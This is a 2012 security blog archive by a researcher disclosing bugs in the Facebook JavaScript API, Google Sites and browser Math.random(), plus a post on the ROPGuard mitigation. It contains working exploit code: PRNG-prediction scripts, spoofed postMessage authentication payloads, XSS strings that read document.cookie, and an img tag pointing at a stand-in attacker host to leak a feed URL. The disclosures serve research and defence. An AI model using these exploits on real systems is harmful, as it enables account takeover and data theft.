Saturday, September 29, 2012

Of HTML5 security, cross-domain Math.random() prediction and Facebook JavaScript API


In an earlier post, I talked about a technique called Cross-domain Math.random() prediction. And while the technique is interesting it is perhaps not intuitively clear in what cases it could be applied. So in this post I'll show an example vulnerability in Facebook which was actually the reason why I investigated this technique in the first place.

Earlier this year, I started looking at the Facebook JavaScript API to see if I can find any vulnerabilities there. What I found is that, when a user first visits the page which uses the API, the page opens a frame in the Facebook domain and this frame sends the information about the logged in user via HTML 5 postMessage mechanism. The actual vulnerability was that the API did not check the origin of this message. In other words, it didn't verify that the authentication response message actually originated from facebook.com domain, meaning that another window in another domain could send a spoofed authentication response message. Furthermore, sanity checks were not performed on the fields in the authentication response message (such as user id of the logged in user, access token etc) - the API just assumed that all of the data received is trustworthy. So in turn, if an application uses the API and assumes that all data coming from the API is trustworthy, this could lead to vulnerabilities in the application. For example, if the application uses something like

FB.getLoginStatus(function(response) {
   if (response.status === 'connected') {
      document.getElementById("greetings").innerHTML = "Some static text " + response.authResponse.userID;
   }
}

this would be OK if the user ID can only be composed of numbers, but in the case the user ID is controlled by the attacker, it could lead to XSS, for example, by sending the following as user ID

<img src=x onerror=alert(1)>

So far so good, but the problems arose when I actually attempted to exploit this. While the Facebook JavaScript API indeed didn't verify the origin of the authentication response message, when the API made an authentication request, the request contained some random numbers. These numbers were sent back in the authentication response message and the API verified that they matched. These random numbers were generated by the API using the JavaScript Math.random() function. What I found out then and described in more detail in the earlier post (http://ifsec.blogspot.com/2012/05/cross-domain-mathrandom-prediction.html) was that in some browsers in some cases, the output of Math.random() can be predicted. So in the end I was able to exploit this on an example vulnerable application. The steps of the exploit are outlined below.

1. The exploit creates a window with the vulnerable Facebook application. Let's call this window W. By creating a new window, its random number generator is initialized based on the current time. API in W gets initialized and it is expecting an authentication response message from the facebook.com domain.

2. Based on the current time, several predictions are made about the state of the random generator in W. Random parameters of the API messages are constructed based on these predictions.

3. For each PRNG state prediction, an authentication response message that contains an XSS payload in the user_id parameter is constructed. This message is sent to W.

4. IF the message sent in step 3 reaches W before the "real" authentication response message coming from the facebook.com domain, the fake message will be accepted and parsed and the real message from the facebook.com domain will be discarded.

5. If the application uses authResponse to form any HTML code and assumes authResponse is clean, the XSS payload will be executed.

The full source code of the exploit for Mozilla Firefox is given below. Note that it is based on the code given here.

<html>
  <head>
    <script>
      var maxms = 10000;
      var delay = 100;
      var appurl = "http://fratar.zemris.fer.hr/fbapp/index.html";
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      //inits PRNG
      function InitRandPredictor(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRand() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
      
      //gets the next guid() result according to the predicted PRNG state
      function PredictGuid() {
        return 'f' + (PredictRand() * (1 << 30)).toString(16).replace('.', '');
      }
      
      var w,n,guids;
      
      //starts the exploit
      function start() {
        var d = new Date();
        n = d.getTime();
        
        //generate possible guids based on the current time
        guids = new Array(maxms);
        for(var i=0;i<maxms;i++) {
          InitRandPredictor(n+i);
          guids[i] = new Array(6);
          for(var j=0;j<6;j++) {
            guids[i][j] = PredictGuid();
          }
        }

        //create a new window with the app
        w = window.open(appurl);  

        //post spoofed messages to the app
        postmessages();
      }
      
      function writeguids() {
        var i,j;
        var str = "";
        for(i=0;i<maxms;i++) {
          for(j=0;j<10;j++) {
            str += guids[i][j] + " , ";
          }
          str += "<br />";
        }
        document.getElementById("guids").innerHTML = str;
      }
  
      var messagessent, signed_request, intervalId;
  
      //posts all messages corresponding to the possible PRNG states to the vulnerable app
      function postmessage() {
        for(var i=0;i<maxms;i++) {
          message = "_FB_" + guids[i][2] + "cb=" + guids[i][5] + "&origin=blah&domain=blah&relation=parent&frame=" + guids[i][4] + "&code=1.1111111111111111.1111.1111111111.1-111111111111111111111-11111111111_111111111" + "&signed_request=" + signed_request + "&access_token=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&expires_in=1000000&https=0";
          w.postMessage(message,"*");
        }
      }
      
      //post messages after "delay" in which the vulnerable app is opened and initialized
      function postmessages() {
        messagessent = 0;
        var m1 = '{"algorithm":"HMAC-SHA256","code":"1.1111111111111111.1111.1111111111.1-111111111111111|111111111111111111111111111","issued_at":' + Math.floor(n/1000).toString() + ',"user_id":"1 <img src=x onerror=alert(1)>"}';
        signed_request = "1_11111111111111111111111111111111111111111." + window.btoa(m1);
        
        intervalId = setTimeout("postmessage()",delay);
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <div id="guids"></div>
  </body>
</html>


The source code of the of an example application that was used to demonstrate the vulnerability is givene below.

<html>
<head>
</head>
<body>
<div id="fb-root">
<fb:name uid="loggedinuser" capitalize="true"></fb:name>
<fb:profile-pic uid="loggedinuser"></fb:profile-pic>
</div>
<div id="greetings"></div>
<script>
  window.fbAsyncInit = function() {
    FB.init({
      appId      : '259710214039921', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true, // parse XFBML
      oauth      : true
    });
    
    FB.getLoginStatus(function(response) {
    if (response.status === 'connected') {
        //alert('connected,' + response.authResponse.userID);
        document.getElementById("greetings").innerHTML = "Hi! Your Facebook ID is " + response.authResponse.userID;
      } else if (response.status === 'not_authorized') {
        //alert('not_authorized');
         FB.login(function(response) {});
      } else {
        //alert('none');
         FB.login(function(response) {});
      }
     });    
 
    // Additional initialization code here
  };

  // Load the SDK Asynchronously
  (function(d){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all.js";
     //js.src = "all2.js";
     ref.parentNode.insertBefore(js, ref);
   }(document));
</script>
</body>
</html>


You can see a sucessful exploit attempt in the image below.



Facebook adressed this issue and now the API checks the origin of incoming messages.

Sunday, August 26, 2012

My BlueHat Prize entry: ROPGuard - runtime prevention of return-oriented programming attacks


In my previous (brief) post I was very excited to announce that ROPGuard, a system for runtime prevention of return-oriented programming attacks that I designed, was selected as one of the top three entries in the Microsoft's BlueHat Prize contest. I also promised to publish more details about my entry.

In the meantime, at Microsoft's party following the Black Hat USA 2012 conference, the winners of the contest were announced and my project was awarded a second prize, which I'm very happy about. In case you missed the party, you can see the recording of the awarding ceremony here. Once again, congratulations to Vasilis Pappas for winning the contest!

I planned to write more about ROPGuard sooner, but it was a really eventful month for me (more on that in a later post) and so this always got pushed back. Now, finally, I'm happy to announce that I published the entire project on Google Code. You can find all of the source and project files as well as the project documentation here.

In the remainder of this post, I'll write a brief retrospect of my project and give some thoughts on what I intended to accomplish, what problems I faced, what went right, what went wrong etc.

First of all, I'd like to say a few words about the problem I attempted to solve: Return-Oriented Programming (ROP). It is the current state of the art technique used in exploit development to bypass Data Execution Protection (DEP). Preventing ROP is very difficult - I couldn't claim it's the most difficult problem of those that would be applicable in the contest as I haven't actually attempted to solve any of the others, but it's certainly very difficult and certainly a burning issue in the exploit prevention. Despite all of my efforts, as well as the efforts of other BlueHat Prize finalists and other researcher, the problem is still open.

In general, previously proposed solutions for ROP fall in one of several groups, each with its drawbacks. Firstly, there are solutions based on the dynamic instrumentation. The drawback of these solutions is that they add a significant performance overhead. The second group are the compiler-based solutions. Although there are some really comprehensive compiler-based solutions, in general, for the compiler-level solution to be applied, we need to have the source code of each of the executable modules and the solution needs to be applied to every module in the process in order for the protection to work. And finally, there are solutions based on static binary rewriting, the drawback of these approaches being their reliance on automatic reverse engineering, which is error prone and any error will most likely affect the stability of the protected application.

Instead of following one of these approaches, what I attempted to do is use as much information as possible already existing in the running process to try to differentiate ROP attempts from normal code execution. One of the main ideas behind ROPGuard is that, in order to be able to execute arbitrary code or escape the current process, the attacker must call one from the finite set of functions from the ROP code. I called these functions "critical functions". For example, to execute arbitrary code, the commonly used ROP chains call functions such as VirtualProtect and VirtualAlloc, but others such as HeapCreate or LoadLibrary can be used as well etc. This leads to the idea to run the checks only when one of these functions gets called to check if it was called from the ROP code or as a result of normal program execution. This way, a protective system with a very low computational overhead can be created.

Now let's look at the checks that ROPGuard performs. There are many simple checks such as:
 - checking whether the value of the stack pointer is valid
 - checking if the address of the current function is on the stack (which could mean that it was entered via RETN instead of CALL)
 - checking if the instruction preceding the one at the return address of the critical function is a CALL instruction
 - some function-specific checks, such as checking if the VirtualProtect function is called to change the access rights of the stack

But besides those relatively simple checks, the other major idea was to check if there is a valid call stack leading to the execution of the current (critical) function.

When one thinks of checking the call stack, the first idea that comes to mind is using the frame pointer (EBP register) to do it. After all, that's how the call stack is usually reconstructed. However, in order for this to work the program must use EBP register as a frame pointer and this is in no way mandatory - many programs omit frame pointers in favor of using the EBP register as an additional general-purpose register. So, in conclusion, call stack check based on the frame pointers could be used to check the validity of the call stack, but only if the program is compiled in such a way that frame pointers are not omitted. ROPGuard has an option to perform these checks and they can be turned on for programs compiled in such a way for greater protection (another good thing about ROPGuard is its configurability).

But, in general, an alternative to frame pointes was needed to reconstruct the call stack. My initial idea to do that was as follows: starting at the current instruction we trace the instructions until we reach the RETN instruction. On the way, we also simulate all instructions that modify the stack pointer (such as PUSH, POP, ADD ESP,# etc.) and update the information about the size of the current stack frame. On RETN we perform the appropriate checks and continue again from the return address (see the original documentation for details). In general, there are several problems with this idea. The first one is functions that dynamically determine the frame size, but such functions are relatively scarce in most programs. The second problem is the stdcall calling convention (and possibly other calling conventions where the callee is responsible for cleaning the stack). The functions that follow these conventions will actually modify the frame size of the caller function. So when we reach the CALL instruction, in general we can't know how the stack pointer will be modified after the call. Sure, we could follow into the function and look for the RETN n instruction, but there's another problem: indirect calls. When we reach an indirect call, unless we simulate the entire instruction set, we won't know the CALL target and so we also won't know how this call will modify the stack pointer. ROPGuard takes a very simple approach around this - it will break the simulation on CALL instructions and other instructions where it can't properly resolve the stack pointer. However, if you look at the commonly used ROP chains such as those in http://www.corelan.be/index.php/security/corelan-ropdb/, you'll notice that they actually don't usually use indirect calls except for calling functions that we may consider critical functions and we already got those covered (as all checks are called again on every critical function call). So ROPGuard will easily detect the currently used ROP chains using this approach. Note that another approach could be to simulate the entire instruction set instead of only the instructions that modify the stack pointer, however, this would be much more expensive in terms of system resources.

So, to conclude, ROPGuard should not be considered a complete solution for ROP, but can easily detect currently used ROP chains. Additionally, one of the best features of ROPGuard is its practicality: It has a very low computational (about 0.5% on average) and memory overhead and can be applied at runtime to any process, even if this process is already running. These, among with the relative simplicity of integrating ROPGuard into other tools, are probably the reasons that, among all of the other entries, Microsoft decided to implement techniques used in ROPGuard into their EMET tool.

I'd also like to thank Elias Bachaalany of Microsoft for not only implementing ROPGuard technology into EMET but also improving it in every way. In fact, due to various reliability improvements I recommend using EMET instead of my own prototype implementation.

I am aware that ROPGuard is not perfect and if the attacker is aware of ROPGuard and has enough skill, he/she would be able to construct special ROP chains that would, so to speak, push ROPGuard off guard. In fact, this protection has already been defeated once. Although this particular attack can be prevented by implementing the same protections for the system calls as well as for user-mode functions, there are other ways to bypass the proposed checks. However, as attack techniques improve, so do the defenses and I hope that my work, in addition to other existing defense-oriented research, will help others to come up with better ideas. Personally, despite all my experience in offensive-oriented security research, I'd be much more impressed if someone came up with a way to improve the techniques described in my work rather than a way to break them.


Sunday, June 24, 2012

ROPGuard selected as one of the top three entries in Microsoft's BlueHat Prize contest


Earlier this year, I participated in Microsoft's BlueHat Prize contest - a contest to design a novel runtime mitigation technology designed to prevent the exploitation of memory safety vulnerabilities. A few days ago, Microsoft revealed the names of the three finalists, and I'm very happy to be one of them, together with Jared DeMott and Vasilis Pappas. Microsoft is taking the finalists to BlackHat USA 2012 conference in Las Vegas, where the winners will be announced on July 26.

My entry is called ROPGuard - it is a system for runtime prevention of Return-Oriented Programming (ROP) attacks.  ROPGuard can detect currently used ROP exploits, it can be applied at runtime to any process and has a very low processing and memory overhead. This is going to be a very short post, but I'll most likely publish more info about my entry later, so if you're interested in more details, check back later on. You can also find a short interview with me and the other two finalists here.

Thursday, June 14, 2012

Stored XSS in Google Sites


I was recently introduced to an interested project called Google Caja. Google Caja is basically a compiler/sandbox that makes user-supplied HTML/JavaScript/CSS safe to embed in your web app. Among other places, it is used in Google Sites and Yahoo Applications. The project is very interesting for a number of reasons from a security research standpoint, and one of those is that a bug in the compiler could lead to a stored XSS in Google sites.

So I played with it a bit to see if I can find any holes. I first found a few bugs that are not exploitable on Google Sites and reported those directly to the Google Caja team. These bugs are not yet fixed so I won't write about them at this time. However, when trying to exploit one of those bugs on Google Sites, I discovered another issue there related to the parsing of user-supplied HTML. This issue can be used to cause a stored XSS in sites.google.com.

In order to understand the issue, let's first look at how Google Sites handled some of the user-supplied HTML input.
Let's say that we entered something like this:

<noembed><![CDATA[ <script>alert(document.cookie)</script> ]]></noembed>

It would remain pretty much the same and the JavaScript would not get executed. This is the correct behavior as, in the noembed tag, HTML special characters are interpreted literally. Now, if we entered something like

<noembed><![CDATA[ </noembed><script>alert(document.cookie)</script> ]]></noembed>

The parsing would fail. This is again the correct behavior, because the browsers would interpret the first occurrence of </noembed> as the closing tag despite it being in the CDATA tag. Thus, if something like that passed unchanged, the script would get executed. The actual problem stems from having multiple CDATA tags in a single noembed tag (or other tags that interpret special HTML characters literally). So for example

<noembed><![CDATA[aaa]]><![CDATA[bbb]]></noembed>

would become

<noembed><![CDATA[aaabbb]]></noembed>

Considering everything written so far, it shouldn't be hard to combine it into a working exploit:

<noembed><![CDATA[ <]]><![CDATA[/noembed><script>alert(document.cookie)</script> ]]></noembed>

When parsing the HTML code above, the two CDATA blocks would get merged and, in doing so, a new closing </noembed> tag would be formed. Thus, the noembed tag would get closed before expected, and the content of the script tag would get executed. This is shown in the image below.



This issue was quickly resolved by the Google security team and now the HTML special characters are escaped even in noembed and similar tags. Thanks!

PS If you thought that my previous post about PRNG predictability in browsers is related to Google, I'll have to disappoint you - you'll have to wait a bit longer to find out just how I used that :-)

Thursday, May 31, 2012

Cross-domain Math.random() prediction


I recently descovered an interesting security issue in a web application that could be potentially exploited if an attacker could guess the values generated by JavaScript's Math.random() function running in a window in the web app's domain. So, I was wondering could the values returned by the Math.random() in one window in one domain be predicted from another window in another domain. Surprisingly, the answer is "yes". At least if you use Firefox or Internet explorer 8 and below. The technique that does this is called Cross-domain Math.random() prediction.

The JavaScript Math.random() weaknesses in different browser are nothing new. Amit Klein wrote extensively abot them [1, 2, 3]. However, while he does mention Cross-domain Math.random() prediction in his paper [1], the focus of his writing is more on using these weaknesses to track user across multiple websites. That's why in this post I'm going to show more details about this particular technique (Cross-domain Math.random() prediction) and also show the current state of the web browsers regarding the Math.random() predictability. In this post, I'll write about the attack in general and in a subsequent post, I'll show an example vulnerable application (once it gets patched).

In general, to use the attack, the following conditions must be met:

1. A web page in some domain uses Math.random() to generate a number.
2. An attacker can somehow gain from knowing this number.
3. An attacker can choose when this number will be generated (for example, by opening a window with a vulnerable application).

Take for example a web page that generates a random number which is then used to identify a user when talking to the web application server.

Now, let's see what makes the attack possible.

The pseudo-random number generator (PRNG) implementations in Internet Explorer up to IE 9 and Firefox are relatively simple and are described in detail in [1] and [3], respectively. The main points to keep in mind are:

1. Both implementations are based on seeding the 48-bit PRNG state based on the current time (in milliseconds) and the state is updated as (state*a+b)%(2^48), where a and b are constant numbers.

2. In Firefox, PRNG seeding is actually done based on the value obtained by xoring the current time in milliseconds with another number which is obtained by xoring two pointers. However, I have observed that these pointers are usually very similar so the result of the xor operation between them is usually a very small number (<1000). This means that, for practical purposes, we may consider that PRNG state in Firefox is seeded based on the current time in milliseconds +/- 1000.

3. In Firefox, each page will have its own PRNG while in IE 8 and below each tab will have its own PRNG and the PRNG will *not* be reseeded if the page in the tab changes, even though the new page might be in another domain.

This opens two possible algorithms for cross-domain Math.random() prediction, where one will work on IE only, and the other will work on both IE and Firefox. The attacks are described below. The code that demonstrates both attacks can be found in the "Example code" section below.

First attack (IE 8 and below only)

This version of the attack exploits the fact that IE does not reseed the PRNG for every page in the same tab. It works as follows:

1. The attacker gets a user to visit his page
2. The attacker's page generates a random number and uses it to compute the current state of the PRNG
3. The state of the PRNG is sent to the attacker. It can be used to predict the result of any subsequent Math.random() call made in the same browsing tab.
4. The attacker's page redirects the victim to the vulnerable application

Second attack (IE8 and below, Firefox)

This version of the attack is based on guessing the seed value of the PRNG and works as follows:

1. The attacker gets a user to visit his page
2. The page makes a note of the current time, t, and opens a new window with the vulnerable application.
3. Based on t, a guess is made for the PRNG seed value in the new window. If the guess is correct, the attacker can predict the result of Math.random() calls in the new window.

Note that this attack relies on guessing the seed value. Since seeding is done based on the current time in milliseconds, this means that, if we can make multiple guesses, we have a pretty good chance of guessing correctly. For example, if we can predict PRNG seeding time up to a second, we have about 1/1000 chance of guessing correctly in IE and somewhat smaller chance (but usually in the same order of magnitude) for guessing correctly in Firefox. If we can make several hundreds of guesses, this is a pretty good chance, especially considerning that the PRNG state in IE and Firefox has 48 bits.

Other browsers

Internet Explorer 9 is not vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the high-precision counter and additional entropy sources [2].

Google Chrome on Windows also isn't vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the rand_s function which is cryptographically secure [4, 5].

Example code

"rand.html". This page just generates the random number and displays it. The goal of the two "exploit" pages below is to guess it.
<html>
<head>
  <script>
    document.write("I generated: " + Math.random());
  </script>
</head>
<body>
</body>
</html>


"exploit1.php". This page uses the first attack (IE only) to predict Math.random() value in another domain, but in the same tab. It uses "decodestate.exe" to decode the current state of the PRNG.
<?php 
if (isset($_REQUEST['r']))
{
  $state = exec("decodestate.exe ".$_REQUEST['r']);

?>

<html>
<head>
<script>
  //target page, possibly in another domain
  var targetURL = "http://127.0.0.1/rand.html"
  
  var a_hi = 0x5DE;
  var a_lo = 0xECE66D;
  var b = 0x0B;
  var state_lo = 0;
  var state_hi = 0;
  var max_half = 0x1000000;

  //advances the state of the (previously initialized) PRNG
  function advanceState() {
    var tmp_lo,tmp_hi,carry;
    tmp_lo = state_lo*a_lo + b;
    tmp_hi = state_lo*a_hi + state_hi*a_lo;
    if(tmp_lo>=max_half) {
      carry = Math.floor(tmp_lo/max_half);
      tmp_hi = tmp_hi + carry;
      tmp_lo = tmp_lo % max_half;
    }
    tmp_hi = tmp_hi % max_half;
    state_lo = tmp_lo;
    state_hi = tmp_hi;
  }

  //gets the next random() result according to the predicted PRNG state
  function PredictRand() {
    var first,second;
    var num, res;
    
    advanceState();
    first = (state_hi * 8) + Math.floor(state_lo/0x200000);
    advanceState();
    second = (state_hi * 8) + Math.floor(state_lo/0x200000);
    num = first * 0x8000000 + second;
    
    res = num/Math.pow(2,54);
  
    return res;
  }

  function start() {
    var state = <?php echo($state); ?>;
    state_hi = Math.floor(state/max_half);
    state_lo = state%max_half;
    
    alert("I predicted : " + PredictRand());
    
    window.location = targetURL;
  }
  
</script>
</head>
<body onload="start()">
</body> 
</html>

<?php } else { ?>

<html>
<head>
<script> 
  function start() 
  { 
    document.forms[0].r.value=Math.random();
    document.forms[0].submit();
  }
</script>  
</head>
<body onload="start()"> 
<form method="POST" onSubmit="f()"> 
<input type="hidden" name="r"> 
</form> 
</body> 
</html>

<?php } ?>


The code for "decodestate.exe". Much of it is shamelessly copied from [1].
#include <stdlib.h> 
#include <stdio.h> 

#define UINT64(x) (x##I64)
typedef unsigned __int64 uint64; 
typedef unsigned int uint32; 

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{ 
  return (a*x+b) & ((UINT64(1)<<48)-1);
} 

int main(int argc, char* argv[])
{ 
  double sample=atof(argv[1]);
  uint64 sample_int=sample*((double)(UINT64(1)<<54));
  uint32 x1=sample_int>>27;
  uint32 x2=sample_int & ((1<<27)-1);

  for (int v=0;v<(1<<21);v++)
  {
    uint64 state=adv((((uint64)x1)<<21)|v);
    uint32 out=state>>(48-27);
    if ((sample_int & (UINT64(1)<<53)) && (out & 1))
    {
      // Turn off least significant bit (which we know is 1). 
      out--;
      // Perform Round to Nearest (even number, but keep in mind that
      // we don't count the least significant bit)
      if (out & 2)
      {
        out+=2;
      }
    }
    if (out==x2) {
      printf("%lld\n",state);
      return 0;
    }
  }
  // Not found
  printf("-1\n");
  return 0;
}


"exploit2.html". This page uses the second attack (both IE and Firefox) to predict Math.random() value in another domain in another window. Multiple predictions are made of which one is usually correct (depending on the time it takes a browser to open a new window and additional entropy in Firefox).
<html>
  <head>
    <script>
      //target page, possibly in another domain
      var targetURL = "http://127.0.0.1/rand.html"
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      var max_32 = 0x100000000;
      var max_16 = 0x10000;
      var max_8 = 0x100;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      function InitRandPredictor(seedTime) {}
  
      //inits PRNG
      function InitRandPredictorFF(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //inits PRNG
      function InitRandPredictorIE(seedTime) {
        var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14];
        var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2;
        timeh = Math.floor(seedTime/max_32);
        timel1 = Math.floor((seedTime%max_32)/max_16);
        timel2 = seedTime%max_16;
        statel = timeh ^ timel2;
        tmp1 = timel1 ^ 0xDEEC;
        tmp2 = timel2 ^ 0xE66D;
        stateh1 = 0;
        stateh2 = 0;
        for(var i=0;i<16;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16));
          }
        }
        for(var i=16;i<32;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16));
          }
        }
        state_hi = (stateh1<<8) + Math.floor(stateh2/max_8);
        state_lo = ((stateh2%max_8)<<16) + statel;
      } 

      function PredictRand() { return(-1); }

      //gets the next random() result according to the predicted PRNG state
      function PredictRandFF() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRandIE() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 8) + Math.floor(state_lo/0x200000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,54);
      
        return res;
      }      
      
      function start() {
        var msfrom,msto;
        
        //simple browser detection
        if(navigator.userAgent.indexOf("MSIE 8.0")>=0) {
          InitRandPredictor = InitRandPredictorIE;
          PredictRand = PredictRandIE;
          msfrom = 0;
          msto = 1000;
        } else if(navigator.userAgent.indexOf("Firefox")>=0) {
          InitRandPredictor = InitRandPredictorFF;
          PredictRand = PredictRandFF;
          //greater range for FF to deal with extra entropy
          msfrom = -1000;
          msto = 2000;
        } else {
          alert("Sorry, your browser is not supported");
          return;
        }
        
        var d = new Date();
        var t = d.getTime();
        
        var w = window.open(targetURL);
        
        var predictions = "At time " + t.toString() + " I predicted: <br />";
        for(var i=msfrom;i<msto;i++) {
          InitRandPredictor(t+i);
          //InitRandPredictor(1338400821077);
          predictions += PredictRand() + "<br />";
        }
        
        document.getElementById("prediction").innerHTML = predictions;    
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <br/>
    <div id="prediction">
  </body>
</html>


References

[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2] http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom

Monday, March 12, 2012

Two Facebook vulnerabilities

A while ago I realized that it's been a long time since I wrote about the web application security here, so when Facebook announced their security bug bounty program it seemed like a perfect opportunity to show off some web application security research. In this post I'll show the two bugs I found on Facebook (so far). Both bugs have been fixed on February 31st, 2012. Although these two bugs are not nearly as critical as the ones I usually write about on this blog (which just gives me further motivation to get back to Facebook bug hunting when I catch some time off my other projects, hopefully you'll read about some of those here as well), I think that they still might be interesting to other security researcher working on Facebook and web application security in general. So, without further ado:

Bug #1: Breaking the group docs parser

While examining the group docs parser I noticed an interesting way in which it handles images uploaded to group docs. Every image uploaded to a group doc gets represented in the form

(img:id)

where id is the id number of the uploaded image, for example

(img:107037326063026)

When the doc is displayed to the user, the above notation will get changed to the appropriate img html tag, for example

<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" ... />

So, if we edit a Facebook group doc and add the text '(img:id)', where id should be an actual image id, it will be changed to appropriate '<img src=.../>' tag when the doc is displayed.

In itself this is not a problem, but the bug reveals itself if we intercept a HTTP request when editing a group doc and put something like this in the doc body

<a href='http://www.somewebsite.com/#(img:107037326063026)'></a>

When such group doc gets displayed, the above will be changed to

<a href="http://www.somewebsite.com/#<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" fbid="107037326063026" hmac="ATqmQ6bijjIvXRta" />&quot; onmousedown=&quot;UntrustedLink.bootstrap($(this), &quot;4AQFWDRA8&quot;, event, bagof(null));&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;</a>

So again the (img:...) is replaced by <img src=.../> even though it is now contained in the 'href' property of a html anchor element

An example of this is shown in the image below


Note that the double quote opened at 'href="' is now closed by the quote in 'img src="' and that the 'a' tag is now closed by the '>' character actually belonging to the 'img' tag, thus breaking the page DOM.

So, why could this be considered a security issue? Firstly, note that normally, when you click any user-submitted link on Facebook, you don't get redirected to the link target immediately. Instead, the link is first sanitized through www.facebook.com/l.php script. This is accomplished by adding an onmousedown property to every anchor element. However, note that the above trick closes the anchor tag before the onmousedown property gets declared, thus the link sanitation is bypassed if anyone clicks this link.

Secondly, let's assume that Facebook development team makes one tiny, seemingly innocent, change in the future and allow the user to control any html property of the image added to the group doc. If something like this ever happened, this bug would become a stored XSS which, for a site like Facebook with its billion users might be considered a serious problem. Let's see how.

In this case, if the user could control some image property and add the image that would be rendered as

<img some_controllable_property=" onmouseover=alert(1) " src=...

and if the user adds the appropriate (img:id) in the href attribute of an anchor element, the html could end up displayed as

<a href="http://www.somewebsite.com/#<img some_controllable_property=" onmouseover=alert(1) " src="..."/>...

Which would execute JavaScript code controlled by the attacker (in this example, message box would be shown) if a user moves a mouse pointer over the link in the doc.

Note that, even though there is no possibility for using this as stored XSS in the current version of Facebook, I still think it's better to report this right away (It's obviously a bug) than to sit on it and wait for it to become more critical in the future.


Bug #2: Notification RSS feed HTML injection

Some background: every Facebook user has a notification RSS feed accessible through the http://www.facebook.com/notifications page. The RSS feed URL has the form

http://www.facebook.com/feeds/notifications.php?id=[id]&viewer=[viewer]&key=[key]format=rss20

To view the Facebook notifications of any user you just need to have his/her notification feed URL.

The bug is caused by the 'description' field in the RSS feed not being properly sanitized which enables arbitrary html code to be injected in the RSS feed. Although no JavaScript can be executed in the context of Facebook this way (at least it shouldn't in any decent RSS viewer) the bug could be used to disclose a notification feed URL to the attacker. The attacker can do this by injecting an img tag in the user's RSS feed. If the user views his RSS feed in the Internet Explorer (tested on IE8), when the injected image is requested, the URL of the RSS feed is sent in the http referrer header field, and can thus be sent straight to the attacker.

Let's consider the following attack scenario with two Facebook users, an attacker and a victim

1. Attacker creates a Facebook group and sets its title to "<img src="http://www.someevilwebsite.com/test.php">"
